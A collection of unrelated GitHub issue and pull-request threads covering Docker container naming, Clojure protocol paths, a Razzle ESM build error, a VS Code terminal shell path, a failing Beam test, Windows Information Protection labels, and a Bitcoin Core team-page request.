What did you expect to happen?:
To have a container created with the given name using CreateContainerParameters.
e.g: .Hostname = "MyName"
Additional information:
Setting hostname while creating container.
Investigating the matter, I found that the CreateContainerAsync(ContainerParameters.hostname generates "Hostname":"myname"
While a retrieved object using Containers.ListContainersAsync gives me
"Names":["myname"]

These are not the same things I don't think. I believe .HostName correlates to the name the container sees itself as; ie: For name resolution purposes. What you want is to set .Name in the create parameters. This gets passed as the query string which Docker uses to allocate the Name of the container

Great. Thanks for the explanation!


Minor tweaks

I split it into two commits for your convenience (first one is the actual tweaks, second one just moves stuff into main). I'll be tweaking a bit more shortly to fix the conda python issue, but figured I'd get this one started.

 The default is already None, and the default type is already str, so you could remove those without any trouble (and would tighten the code a tiny bit).

Cool, sounds good. Thanks for this!


Implement protocol paths

Sometimes its useful to have polymorphism in how a path navigates through a structure. For example, if you had:
(defrecord Account [money])
(defrecord Person [account])
(defrecord Family [accounts])

And your structure was a list of either Person or Family, then navigating to all the accounts requires polymorphism on the type of record you're looking at. A solution to this would be protocol paths, like so:
(defprotocolpath AccountPath [])

(extend-protocolpath AccountPath
  Person :account
  Family [:accounts ALL]
 )

(select [ALL AccountPath :money] list-of-persons-and-families)

Protocol paths are defined with the amount of parameters they are expected to have for integration with parameterized precompilation. Protocol paths will automatically precompile the result paths for each type.

This is now implemented on master (for Clojure only) and will be released with 0.9.0


Workaround for SWDEV-262823

Trim target features from the device name, e.g. gfx908:sramecc+:xnack- -> gfx908.

[Note] This PR is NFC if target features are not reported by runtime.

Optimize for speed to compensate for additional calculations in GetDeviceName().

CI tests passed!


razzle cannot transpile esm modules on the server side

🐛 Bug report
I have a monorepo with this structure:

web (razzle)
components (dumb components + styles)
API (API module)

my API using typescript with this config:
"target": "es2017",
"module": "CommonJS""
...
}```

everything works fine. but if I change the module in the API module to "ESNext" and I'm getting this error.
`razzle build` works fine. this error only happens on the `razzle start --hot` so my guess is node js should transpile the code somehow or maybe there is another solution to this.

For help, see: https://nodejs.org/en/docs/inspector
sswp> Handling Hot Module Reloading
/Users/x/Projects/example/example-proj/packages/api/dist/index.js:1
export * from './@types/index';
^^^^^^
SyntaxError: Unexpected token 'export'
at Object.compileFunction (node:vm:352:18)
at wrapSafe (node:internal/modules/cjs/loader:1031:15)
at Module._compile (node:internal/modules/cjs/loader:1065:27)
at Object.Module._extensions..js (node:internal/modules/cjs/loader:1153:10)
at Module.load (node:internal/modules/cjs/loader:981:32)
at Function.Module._load (node:internal/modules/cjs/loader:822:12)
at Module.require (node:internal/modules/cjs/loader:1005:19)
at require (node:internal/modules/cjs/helpers:102:18)
at Object.example/example-proj11 (/Users/x/Projects/proj/packages/web/example/web/external "example/example-proj":1:1)
at webpack_require (/Users/x/Projects/example/packages/web/build/webpack:/example-proj2/webpack/bootstrap:21:1)
sswp> !!! Script exited with code 1

### Expected behavior

Node should handle esm modules as well or there should be a way to transpile the known packages

| Software         | Version(s) |
| ---------------- | ---------- |
| Razzle           |"^4.1.0"
| Razzle Plugins   |
| Node             | v16-v14
| Browser          | chrome
| npm/Yarn         | 8.1
| Operating System | mac
| TypeScript       | 4.4.2
| React            | v17

https://razzlejs.org/docs/customization#transpilation-of-external-modules


commit for branch setup

https://github.com/appwex/facebook-clone/issues/1
https://github.com/appwex/facebook-clone/issues/2
https://github.com/appwex/facebook-clone/issues/4
https://github.com/appwex/facebook-clone/issues/7
https://github.com/appwex/facebook-clone/issues/8
https://github.com/appwex/facebook-clone/issues/9
https://github.com/appwex/facebook-clone/issues/10


I found a small typo in the documentation

I was going through the installation part of the docs where I stumbled upon this

Hi @p-rohitt,
thanks for this! Fixed it.


terminal control + ` returen this massgae

Issue Type: Bug
when i click control + `
mac os mojave
The terminal shell path "shell" does not exist
VS Code version: Code 1.39.2 (6ab598523be7a800d7f3eb4d92d7ab9a66069390, 2019-10-15T15:33:00.827Z)
OS version: Darwin x64 18.2.0

System Info

Item
Value

CPUs
Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz (4 x 3292)

GPU Status
2d_canvas: enabledflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onnative_gpu_memory_buffers: enabledoop_rasterization: disabled_offprotected_video_decode: unavailable_offrasterization: enabledskia_deferred_display_list: disabled_offskia_renderer: disabled_offsurface_synchronization: enabled_onvideo_decode: enabledviz_display_compositor: disabled_offwebgl: enabledwebgl2: enabled

Load (avg)
2, 2, 2

Memory (System)
16.00GB (1.78GB free)

Process Argv

Screen Reader
no

VM
0%

Extensions (1)

Extension
Author (truncated)
Version

terminal
for
0.0.10

Please provide a screenshot illustrating the problem. See this wiki page for more info on how to report actionable terminal issues.

this is gif of issue i can`t find log or something to trace
this is the only error massage
The terminal shell path "shell" does not exist

It looks like you either have terminal.integrated.shell.osx set to "shell" in your settings or the $SHELL environment variable is set to "shell" which is a problem you need to resolve outside VS Code.


Add DateTime header, Generated Code compile failed

customer tried adding the repeatability headers in ADP CADL project.
See definition Azure.Core.RepeatabilityRequestHeaders in azure-tools\cadl-azure-core\lib\models.cadl
  @header("Repeatability-First-Sent")
  repeatabilityFirstSent?: zonedDateTime;

The generated code does not compile. The emitter version is 0.1.11-beta.20221223.1
if (repeatabilityFirstSent != null) {
    request.Headers.Add("Repeatability-First-Sent", repeatabilityFirstSent.Value);
}

The Value should be converted to string in special format.
request.Headers.Add("Repeatability-First-Sent", repeatabilityFirstSent.Value, "o");


[Failing Test]: Prism runner execution test failing on Java11

What happened?
Apparently on Java11 console output has fancy colors, which fails assert:

expected to contain:
    INFO Serving JobManagement endpoint=localhost:5555
but was:
    ?[2m?[37m[2024-10-23T18:04:52.324084899Z]?[0m ?[42m?[30m INFO ?[0m ?[32mServing JobManagement?[0m
    ?[34m*?[0m ?[35mendpoint?[0m: ?[4m?[34mlocalhost:5555?[0m?[0m

    ?[2m?[37m[2024-10-23T18:04:52.328261009Z]?[0m ?[42m?[30m INFO ?[0m ?[32mServing WebUI?[0m
    ?[34m*?[0m ?[35mendpoint?[0m: ?[4m?[34mhttp://localhost:8074?[0m?[0m

	at app//org.apache.beam.runners.prism.PrismExecutorTest.executeWithCustomArgumentsThenStop(PrismExecutorTest.java:89)

Issue Failure
Failure: Test is continually failing
Issue Priority
Priority: 2 (backlog / disabled test but we think the product is healthy)
Issue Components

[ ] Component: Python SDK
[ ] Component: Java SDK
[ ] Component: Go SDK
[ ] Component: Typescript SDK
[ ] Component: IO connector
[ ] Component: Beam YAML
[ ] Component: Beam examples
[ ] Component: Beam playground
[ ] Component: Beam katas
[ ] Component: Website
[ ] Component: Infrastructure
[ ] Component: Spark Runner
[ ] Component: Flink Runner
[ ] Component: Samza Runner
[ ] Component: Twister2 Runner
[ ] Component: Hazelcast Jet Runner
[ ] Component: Google Cloud Dataflow Runner

R: @lostluck @damccorm


fix #2733: hook CQs back in

Overall looks good.  I don't see any tests though.  Are we going to add those in a future PR so we can ship this in the next release?

@dgnorton looks good - one question on a commented defer, but otherwise :+1:


What is meant by Work Protection

Please provide a technical description of the type of protection that is meant by the phrase "the device enforces work protection for any file with the label". Is this encryption or something else? What happens when a General label is applied that does not require protection? Please provide additional details about what WIP does for the various Sensitivity Label settings.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 561d91d8-458d-bc0c-45af-c0a9ccacee93
Version Independent ID: 7c1fd8f1-74b6-f7d4-fcb0-0e41a0d6ff42
Content: How Windows Information Protection (WIP) protects files with a sensitivity label (Windows 10) - Microsoft 365 Security
Content Source: windows/security/information-protection/windows-information-protection/how-wip-works-with-labels.md
Product: w10
Technology: windows
GitHub Login: @DulceMontemayor
Microsoft Alias: dansimp

@DeanGross . I think restricting certain users for accessing files and folders
applying policies to the machine and to users  by using the group policy editor
configuring security policies through secpol.msc.

@DeanGross Passing this to an independent contributor for investigation. Thank you.

@DeanGross I could not find the mentioned sentence "the device enforces work protection for any file with the label" in the article you linked. I think that certain article might have been taken down in the meantime, because i cannot find any reference to it online.
Anyway, keeping in mind we are talking about Sensitivity Labels, i would say that work protection = encryption, content marking and oversharing protection (similar to AIP).
WIP is limited to specific endpoints, labels are not. If a document with a specific Sensitivity Label (with or without encryption) leaves your organisation, it will still inherit that Sensitivity Label and when opened, it will ask for what you have configured it to request. WIP does not do that or know how to do that, it will just guard the endpoint.

What happens when a General label is applied that does not require protection? Please provide additional details about what WIP does for the various Sensitivity Label settings.

WIP uses EFS (Encrypting File System) encryption and Sensitivity labels use the Azure Rights Management service (Azure RMS) from Azure Information Protection. So one does not affect the other.


Team of people contributing to Bitcoin Core on the website

I noticed many people directly thinks Core = Blockstream...If we could show them https://www.blockstream.com/team/ and for example https://bitcoin.org/en/dev-team for compare, it would be easy way to argument and "verify" who from Core works for Blockstream...Bitcoin classic has it on their homepage...
So please add list of developers, who are actively contributing to Core so we can show it to world, that many devs support Core...not only for the Blockstream FUD issue, but generaly..every project has a list of team members

I agree this could be a good thing to show the most active developers.

Also always helps to link to the credits for some release:
https://github.com/bitcoin/bitcoin/blob/master/doc/release-notes/release-notes-0.12.0.md#credits

Link to the credits surely helps, but i think average bitcoin user won't find it easily...in these times, when there is lot of FUD abot Core devs, i believe it should be on the website of Core, if not directly on the homepage. Many people are accusing Core devs = Blockstream. Let's show them it is just a fud...

@Feri22 I am working on a proposal. Will update when I have something for review. Feel free to contact me on email/IRC/Slack.

Great

Done.